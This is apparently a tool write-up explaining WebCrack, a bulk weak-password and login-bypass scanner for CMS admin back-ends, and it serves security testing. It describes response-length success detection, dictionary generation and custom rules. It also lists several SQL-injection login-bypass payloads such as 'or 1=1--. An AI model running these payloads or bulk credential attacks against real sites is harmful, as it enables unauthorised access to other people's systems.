WebCrack: Automated Bulk Weak‑Password Detection for Web Back‑Ends

When performing security testing, the rapid detection of weak credentials across many web back‑ends becomes a bottleneck as asset counts grow.

Existing solutions rarely provide a universal scanner for various CMS back‑ends, which led to the creation of WebCrack.

Tool Overview

WebCrack is a web‑back‑end weak‑password/universal‑password bulk cracking and detection tool. It supports mainstream CMS such as Discuz, Dedecms, phpMyAdmin, and also works on many niche or custom‑built back‑ends.

Simply import a list of back‑end URLs and the tool performs automated checks.

Project Repository

https://github.com/yzddmr6/WebCrack

Implementation Idea

Typical manual workflow with Burp Suite Intruder involves capturing a request, sending it to Intruder, marking the parameters to brute‑force, sending payloads, and inspecting responses. WebCrack simulates this process but must solve two problems:

Automatically identifying the parameters to brute‑force.

Automatically determining whether a login succeeded.

Identifying Brute‑Force Parameters

WebCrack adopts the approach used in web_pwd_common_crack: it scans form fields for keywords such as user , pass , yonghu , zhanghao , etc., to locate username and password fields. Because developers sometimes use pinyin or abbreviations, the keyword list is extended to cover variations like yhm , mima , etc.

Determining Login Success

This is the most challenging part. For a specific system, one can define a success pattern, but a generic scanner cannot rely on fixed regexes. WebCrack therefore uses a length‑based error detection method inspired by web_pwd_common_crack:

Send two guaranteed‑wrong passwords (e.g., length_test) and record the response lengths.

If the lengths differ, the target returns inconsistent error pages, making automated judgment impossible; the scan aborts.

If the lengths are identical, the value becomes the baseline for later comparisons.

Additionally, WebCrack checks whether the username/password keys appear in the redirected page—if they do, the login likely failed and the user was sent back to the login page.

Direct page equality checks are avoided because many CMS display a pop‑up error dialog without changing the page content. Hash‑based similarity checks were considered but discarded due to the diversity of systems.

Keyword Blacklist Detection

Initially a whitelist mechanism was planned (e.g., detecting the phrase “login successful”), but it proved unnecessary because maintaining exhaustive regexes for all CMS is impractical, and the whitelist generated many false positives when combined with other detection mechanisms.

Instead, a blacklist is used to filter out known false‑positive patterns, especially useful for universal‑password modules that trigger WAF blocks.

Recheck Phase

To improve accuracy and reduce false‑positives, a recheck step re‑sends the discovered credentials and compares the new error length with the baseline. A mismatch indicates a correct password.

Framework Extensions

Beyond the core detection algorithm, WebCrack adds three optional modules:

Dynamic Dictionary

If a target lacks a domain name, the tool generates a list of candidate hostnames from the IP address (e.g., test.webcrack.com, webcrack.com, webcrack, webcrack123, etc.). The suffixes are configurable.

Universal‑Password Detection

Common universal‑password payloads are included, such as:

admin' or 'a'='a
'or'='or'
admin' or '1'='1' or 1=1
')or('a'='a
'or 1=1--

Users can add more payloads. However, these payloads often trigger WAFs, so the blacklist can be used to suppress WAF‑generated false positives.

Custom Brute‑Force Rules

WebCrack allows users to define custom CMS rules in a cms.json file placed alongside the script. Each entry specifies the CMS name, identifying keywords, captcha flag, whether universal‑password cracking is enabled, success/failure flags, alert settings, and notes. Example entry for Discuz:

{"name":"discuz","keywords":"admin_questionid","captcha":0,"exp_able":0,"success_flag":"admin.php?action=logout","fail_flag":"密码错误次数过多","alert":0,"note":"discuz论坛测试"}

This flexibility lets users tailor detection to obscure or custom back‑ends.

Captcha Handling

Captcha recognition is a hard problem. A demo implementation was attempted but performed poorly on complex captchas and slowed down scanning. Consequently, captcha handling was removed from the current version.

Overall Workflow

The complete process includes URL import, parameter detection, baseline error‑length acquisition, payload injection, response comparison, recheck, and optional dynamic dictionary or universal‑password modules. A flowchart (image) illustrates the steps.

Comparison Tests

WebCrack was benchmarked against web_pwd_common_crack on a sample set: web_pwd_common_crack found 11 candidates (7 successful logins, 4 false‑positives caused by WAF).

WebCrack found 19 candidates (16 successful logins, 3 false‑positives).

Among the 9 additional findings, 5 were universal‑password vulnerabilities, 2 were missed by web_pwd_common_crack, and 2 came from the dynamic dictionary.

Conclusion

WebCrack has been developed over six months to handle the myriad login page variations found in the wild. It supports redirects, login‑success pages, failure pages, and even empty responses. While it cannot guarantee 100 % accuracy for every site, users can adjust the cms.json configuration to better suit their environment.